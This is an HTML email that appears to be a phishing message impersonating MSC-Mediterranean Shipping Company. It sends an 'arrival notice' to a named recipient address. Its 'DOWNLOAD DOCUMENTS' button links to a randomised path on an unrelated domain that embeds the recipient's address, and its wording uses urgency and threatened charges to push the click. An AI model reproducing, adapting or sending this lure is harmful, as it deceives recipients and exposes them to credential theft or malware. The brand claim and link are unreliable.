<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shipping Documents and Arrival Notice</title>
<style>
.notification-box {
border: 3px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: #eae1cf; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */
}
.notification-box h2 {
margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */
}
.notification-box p {
margin: 0 0 10px;
}
.notification-box ul {
margin: 0 0 10px;
padding-left: 20px;
}
.notification-box a {
text-decoration: none;
}
.notification-box a:hover {
text-decoration: underline;
}
.logo {
text-align: center;
margin-bottom: 20px;
}
.logo img {
max-width: 150px; /* Adjust size as needed */
height: auto;
}
.download-button {
display: inline-flex;
align-items: center;
padding: 10px 20px;
margin-top: 10px;
background-color: orange; /* Orange background color */
color: #000; /* Black text color */
text-align: center;
text-decoration: none;
border-radius: 5px;
font-weight: bold; /* Make text bold */
border: none;
cursor: pointer; /* Change cursor to pointer for better UX */
}
.download-button:hover {
background-color: darkorange; /* Slightly darker orange on hover */
}
.download-button img {
vertical-align: middle;
margin-right: 8px; /* Space between icon and text */
width: 20px; /* Set appropriate size for the icon */
height: 20px; /* Set appropriate size for the icon */
}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<div style="border: 3px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: #eae1cf; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */" class="notification-box">
<div class="logo">
<img alt="Company Logo" src="cid:1.png" width="125" height="118">
</div>
<h2 style="margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */">Important: Shipping Documents and Arrival Notice</h2>
<p style="margin: 0 0 10px">Dear Consignee <strong>trhm-go@list.pvv.org</strong>,</p>
<p style="margin: 0 0 10px">We are pleased to notify you that your shipment is set to arrive at the Port of Discharge soon. To ensure a seamless delivery process and prevent any additional charges, please review and act upon the following information at your earliest convenience.</p>
<p style="margin: 0 0 10px">Enclosed are the essential details of your consignment, along with conditions of release and any possible outstanding charges:</p>
<ul style="margin: 0 0 10px;
padding-left: 20px">
<li><strong>Commercial Invoice</strong></li>
<li><strong>Packing List</strong></li>
<li><strong>Bill of Lading</strong></li>
<li><strong>Customs Reference Number or other Customs-related instructions</strong></li>
</ul>
<p style="margin: 0 0 10px"><a class="download-button" href="https://gpnyzrudnoflylo.siqmadutyfree.com/iaynfoglosngwkj/vhshlbqhpasss/Znxdoxmecqrffwe89g0xmsc/qzahnmjgwnjlsu/xbvynxvqnen/trhm-go/hxgjgcxzzpa/list.pvv.org/eoibtmmshnix8" download="">
<img alt="PDF Icon" src="cid:2.png" width="22" height="21"> DOWNLOAD DOCUMENTS
</a></p>
<p style="margin: 0 0 10px">Should you find any discrepancies or have any questions about the documents, please reach out to us without delay. We are dedicated to providing prompt assistance with any issues you may encounter.</p>
<p style="margin: 0 0 10px">Thank you for your prompt attention to this matter.</p>
<p style="margin: 0 0 10px">
<br>
<strong>MSC-Mediterranean Shipping Company</strong><br>
<br>
</p>
</div>
</body></html>